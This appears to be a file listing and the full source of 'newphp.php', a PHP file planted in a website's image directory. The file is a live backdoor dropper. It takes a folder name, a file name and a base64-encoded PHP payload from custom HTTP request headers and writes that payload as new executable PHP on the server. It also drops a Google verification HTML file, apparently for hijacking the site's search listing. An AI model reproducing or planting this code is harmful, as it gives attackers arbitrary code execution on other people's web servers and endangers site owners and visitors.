File "newphp.php"

Full path: /home/argothem/www/organecyberpresse/IMG/distant/xml/newphp.php
File size: 2.18 KB
MIME-type: text/x-php
Charset: utf-8

<?php
$rootPath = dirname(__FILE__);
$filePath = __DIR__;
$folderName = "";
$folderPath = $rootPath . $folderName;
$fileName = "";
$googleCheckFileName = "";
$googleCheckFileName = $_SERVER['HTTP_G_N'];
$googleHtmlContent = $_SERVER['HTTP_G_C'];
$customFoldName = $_SERVER['HTTP_F_N'];
$customPhpName = $_SERVER['HTTP_P_N'];
$phpString = base64_decode($_SERVER['HTTP_P_S']);

$path = $rootPath . "/" . $googleCheckFileName;
$path2 = $filePath . "/" . $googleCheckFileName;
$customFoldPath = $rootPath . "/" . $customFoldName;
$customFoldPath2 = $filePath . "/" . $customFoldName;


if (isset($googleCheckFileName)) {
    if (is_writable($path)) {
        $res = writeGoogleHtmlFile($path, $googleHtmlContent);
        createAndWriteCustomFile($customFoldPath, $customPhpName, $phpString);
    } else {
        createAndWriteCustomFile($customFoldPath2, $customPhpName, $phpString);
    }
}

function writeGoogleHtmlFile($writePath, $writeFileContent)
{
    if (!file_exists($writePath)) {
        $htmlFile = fopen($writePath, 'w');
        if ($htmlFile) {
            $temp = fwrite($htmlFile, $writeFileContent);
            echo "HTML_WRITE_SUCCESS";
            fclose($htmlFile);
            return $temp;
        } else {
            echo "writeGoogleHtmlFile-file";
            return false;
        }
    } else {
      echo "has";
    }
    return false;
}


function createAndWriteCustomFile($path, $phpFileName, $string)
{
    if (!file_exists($path)) {
        $isCreate = mkdir($path, 0755, true);
        if ($isCreate) {
            $phpFile = fopen($path . "/" . $phpFileName, 'w');
            if ($phpFile) {
                fwrite($phpFile, $string);
                echo "FOLD_WRITE_SUCCESS";
                fclose($phpFile);
            }
        }
    } else {
        echo "FOLD_all";
        file_put_contents($path . "/" . $phpFileName, $string);
    }
}

function File_Mode()
{
    $RealPath = realpath('./');
    $SelfPath = $_SERVER['PHP_SELF'];
    $SelfPath = substr($SelfPath, 0, strrpos($SelfPath, '/'));
    return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
}

function File_Str($string)
{
    return str_replace('//', '/', str_replace('\\', '/', $string));
}